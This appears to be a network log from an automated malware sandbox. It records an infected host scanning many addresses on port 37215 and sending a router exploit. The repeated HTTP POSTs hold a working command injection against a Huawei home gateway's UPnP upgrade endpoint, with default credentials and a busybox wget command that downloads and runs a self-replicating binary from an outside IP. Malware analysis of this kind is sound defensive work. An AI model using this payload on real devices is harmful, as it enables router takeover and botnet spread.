Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.237.204.239:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.112.211.13:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 125.138.160.173:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.144.231.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.22.86.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 118.49.214.20:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 19.40.180.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.10.102.197:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.20.94.171:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 164.205.89.44:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 73.59.152.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.188.44.33:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.106.233.77:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.21.222.153:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 64.33.176.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.249.252.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.187.4.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.161.208.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.195.219.41:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.161.53.166:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 65.105.228.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 166.226.140.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.20.224.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.24.158.214:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.185.156.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.73.103.11:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.230.104.178:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 207.219.17.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.249.165.39:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.223.250.247:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 110.158.106.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.110.138.28:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.10.21.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.1.103.188:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.162.190.96:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.109.227.199:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.27.168.254:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.83.88.84:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 75.104.202.17:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.164.136.89:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.196.96.245:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.196.37.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.32.133.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.57.32.128:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.37.92.174:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.21.181.208:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.103.24.87:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.176.48.82:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.67.202.57:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.165.174.255:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.121.187.227:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.78.85.252:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.108.203.251:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.151.102.34:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.10.248.123:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 63.186.186.37:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.247.172.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.179.253.60:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 185.174.9.207:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 57.108.45.163:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.90.1.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.80.120.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.149.152.59:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.57.96.175:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.212.146.100:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.38.71.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 63.2.118.76:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.11.71.156:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.2.120.86:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.203.16.112:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.182.171.165:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.29.218.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.41.203.4:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.114.177.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 106.13.88.1:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.101.148.161:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.66.47.120:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.74.71.118:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.69.28.134:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.208.108.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.157.18.71:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 178.145.167.103:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.85.174.219:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 47.174.237.121:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.196.21.231:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.13.239.35:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 147.207.23.210:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.119.243.126:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 223.171.231.198:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.113.246.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 119.16.143.167:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.208.13.203:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.254.31.248:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 182.163.98.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 73.224.185.209:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.215.122.242:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.245.36.122:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.147.207.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.151.193.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.125.35.186:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.77.7.185:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.133.216.38:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.127.207.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 182.5.159.130:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.12.97.16:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 43.200.26.30:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.214.41.196:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.32.107.23:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.0.166.124:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.122.2.169:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 106.141.226.81:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 171.40.111.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.215.224.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 114.111.180.2:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.41.205.24:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.189.159.159:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.80.38.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 13.149.70.176:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.32.14.179:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.117.194.36:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.210.128.56:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.123.197.226:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.228.225.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.51.137.85:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 83.28.219.9:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.0.222.189:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.218.118.22:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 196.204.101.132:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.83.195.12:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.179.91.192:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.117.11.125:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.162.76.102:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 218.33.147.113:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 198.135.23.105:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.36.27.228:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 175.16.72.234:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.55.18.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.136.31.6:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.71.39.187:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.218.67.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 167.36.78.95:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.147.74.93:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.225.188.66:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.175.62.114:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.47.104.168:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.76.59.224:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 88.24.188.63:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.225.168.152:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 197.144.74.230:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 41.139.184.109:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.204.39.191:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.45.161.206:37215
Source: global traffic	TCP traffic: 192.168.2.15:15270 -> 157.27.92.159:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 456Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 33 2e 31 37 32 2e 37 39 2e 37 34 20 2d 6c 20 2f 74 6d 70 2f 2e 6f 78 79 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 6f 78 79 3b 20 2f 74 6d 70 2f 2e 6f 78 79 20 73 65 6c 66 72 65 70 2e 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 103.172.79.74 -l /tmp/.oxy -r /mips; /bin/busybox chmod 777 /tmp/.oxy; /tmp/.oxy selfrep.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Source: unknown	TCP traffic detected without corresponding DNS query: 41.19.51.214
Source: unknown	TCP traffic detected without corresponding DNS query: 197.9.254.174
Source: unknown	TCP traffic detected without corresponding DNS query: 139.206.236.214
Source: unknown	TCP traffic detected without corresponding DNS query: 41.204.159.19
Source: unknown	TCP traffic detected without corresponding DNS query: 41.2.216.106
Source: unknown	TCP traffic detected without corresponding DNS query: 197.95.120.201
Source: unknown	TCP traffic detected without corresponding DNS query: 41.255.232.81
Source: unknown	TCP traffic detected without corresponding DNS query: 197.230.90.230
Source: unknown	TCP traffic detected without corresponding DNS query: 85.120.254.213
Source: unknown	TCP traffic detected without corresponding DNS query: 41.1.158.250
Source: unknown	TCP traffic detected without corresponding DNS query: 41.206.211.237
Source: unknown	TCP traffic detected without corresponding DNS query: 41.245.96.133
Source: unknown	TCP traffic detected without corresponding DNS query: 73.2.122.221
Source: unknown	TCP traffic detected without corresponding DNS query: 35.62.205.155
Source: unknown	TCP traffic detected without corresponding DNS query: 41.35.215.30
Source: unknown	TCP traffic detected without corresponding DNS query: 197.145.9.185
Source: unknown	TCP traffic detected without corresponding DNS query: 197.92.54.35
Source: unknown	TCP traffic detected without corresponding DNS query: 41.67.233.130
Source: unknown	TCP traffic detected without corresponding DNS query: 41.135.195.221
Source: unknown	TCP traffic detected without corresponding DNS query: 157.224.7.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.169.179.105
Source: unknown	TCP traffic detected without corresponding DNS query: 41.203.218.162
Source: unknown	TCP traffic detected without corresponding DNS query: 41.146.127.3
